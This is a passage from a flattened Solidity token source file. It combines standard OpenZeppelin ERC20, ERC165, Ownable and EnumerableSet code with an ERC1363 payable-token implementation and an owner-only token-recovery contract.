`errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20Capped is ERC20 { using SafeMath for uint256; uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ constructor (uint256 cap) { require(cap > 0, "ERC20Capped: cap is 0"); _cap = cap; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view returns (uint256) { return _cap; } /** * @dev See {ERC20-_beforeTokenTransfer}. * * Requirements: * * - minted tokens must not cause the total supply to go over the cap. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from == address(0)) { // When minting tokens require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } } } /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual{ _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual{ uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.7.0; /** * @title IERC1363 Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for a Payable Token contract as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363 is IERC20, IERC165 { /* * Note: the ERC-165 identifier for this interface is 0x4bbee2df. * 0x4bbee2df === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) */ /* * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce. * 0xfb9ec8ce === * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferAndCall(address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value) external returns (bool); /** * @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 The amount of tokens to be transferred * @param data bytes Additional data with no specified format, sent in call to `to` * @return true unless throwing */ function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent */ function approveAndCall(address spender, uint256 value) external returns (bool); /** * @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender * and then call `onApprovalReceived` on spender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format, sent in call to `spender` */ function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol pragma solidity ^0.7.0; /** * @title IERC1363Receiver Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Receiver { /* * Note: the ERC-165 identifier for this interface is 0x88a7ca5c. * 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)")) */ /** * @notice Handle the receipt of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param operator address The address which called `transferAndCall` or `transferFromAndCall` function * @param from address The address which are token transferred from * @param value uint256 The amount of tokens transferred * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` * unless throwing */ function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4); // solhint-disable-line max-line-length } // File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol pragma solidity ^0.7.0; /** * @title IERC1363Spender Interface * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Interface for any contract that wants to support approveAndCall * from ERC1363 token contracts as defined in * https://eips.ethereum.org/EIPS/eip-1363 */ interface IERC1363Spender { /* * Note: the ERC-165 identifier for this interface is 0x7b04a2d0. * 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)")) */ /** * @notice Handle the approval of ERC1363 tokens * @dev Any ERC1363 smart contract calls this function on the recipient * after an `approve`. This function MAY throw to revert and reject the * approval. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the token contract address is always the message sender. * @param owner address The address which called `approveAndCall` function * @param value uint256 The amount of tokens to be spent * @param data bytes Additional data with no specified format * @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` * unless throwing */ function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4); } // File: @openzeppelin/contracts/introspection/ERC165Checker.sol pragma solidity ^0.7.0; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { // success determines whether the staticcall succeeded and result determines // whether the contract at account indicates support of _interfaceId (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } /** * @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return success true if the STATICCALL succeeded, false otherwise * @return result true if the STATICCALL succeeded and the contract at account * indicates support of the interface with identifier interfaceId, false otherwise */ function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool, bool) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return (false, false); return (success, abi.decode(result, (bool))); } } // File: @openzeppelin/contracts/introspection/ERC165.sol pragma solidity ^0.7.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol pragma solidity ^0.7.0; /** * @title ERC1363 * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Implementation of an ERC1363 interface */ contract ERC1363 is ERC20, IERC1363, ERC165 { using Address for address; /* * Note: the ERC-165 identifier for this interface is 0x4bbee2df. * 0x4bbee2df === * bytes4(keccak256('transferAndCall(address,uint256)')) ^ * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) */ bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df; /* * Note: the ERC-165 identifier for this interface is 0xfb9ec8ce. * 0xfb9ec8ce === * bytes4(keccak256('approveAndCall(address,uint256)')) ^ * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) */ bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce; // Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))` // which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector` bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c; // Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))` // which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector` bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0; /** * @param name Name of the token * @param symbol A symbol to be used as ticker */ constructor (string memory name, string memory symbol) ERC20(name, symbol) { // register the supported interfaces to conform to ERC1363 via ERC165 _registerInterface(_INTERFACE_ID_ERC1363_TRANSFER); _registerInterface(_INTERFACE_ID_ERC1363_APPROVE); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param to The address to transfer to. * @param value The amount to be transferred. * @return A boolean that indicates if the operation was successful. */ function transferAndCall(address to, uint256 value) public override returns (bool) { return transferAndCall(to, value, ""); } /** * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param to The address to transfer to * @param value The amount to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferAndCall(address to, uint256 value, bytes memory data) public override returns (bool) { transfer(to, value); require(_checkAndCallTransfer(_msgSender(), to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value The amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall(address from, address to, uint256 value) public override returns (bool) { return transferFromAndCall(from, to, value, ""); } /** * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param from The address which you want to send tokens from * @param to The address which you want to transfer to * @param value The amount of tokens to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. */ function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public override returns (bool) { transferFrom(from, to, value); require(_checkAndCallTransfer(from, to, value, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to * @param value The amount allowed to be transferred * @return A boolean that indicates if the operation was successful. */ function approveAndCall(address spender, uint256 value) public override returns (bool) { return approveAndCall(spender, value, ""); } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to. * @param value The amount allowed to be transferred. * @param data Additional data with no specified format. * @return A boolean that indicates if the operation was successful. */ function approveAndCall(address spender, uint256 value, bytes memory data) public override returns (bool) { approve(spender, value); require(_checkAndCallApprove(spender, value, data), "ERC1363: _checkAndCallApprove reverts"); return true; } /** * @dev Internal function to invoke `onTransferReceived` on a target address * The call is not executed if the target address is not a contract * @param from address Representing the previous owner of the given token value * @param to address Target address that will receive the tokens * @param value uint256 The amount mount of tokens to be transferred * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) { if (!to.isContract()) { return false; } bytes4 retval = IERC1363Receiver(to).onTransferReceived( _msgSender(), from, value, data ); return (retval == _ERC1363_RECEIVED); } /** * @dev Internal function to invoke `onApprovalReceived` on a target address * The call is not executed if the target address is not a contract * @param spender address The address which will spend the funds * @param value uint256 The amount of tokens to be spent * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived( _msgSender(), value, data ); return (retval == _ERC1363_APPROVED); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.7.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.7.0; /** * @title TokenRecover * @author Vittorio Minacori (https://github.com/vittominacori) * @dev Allow to recover any ERC20 sent into the contract for error */ contract TokenRecover is Ownable { /** * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the 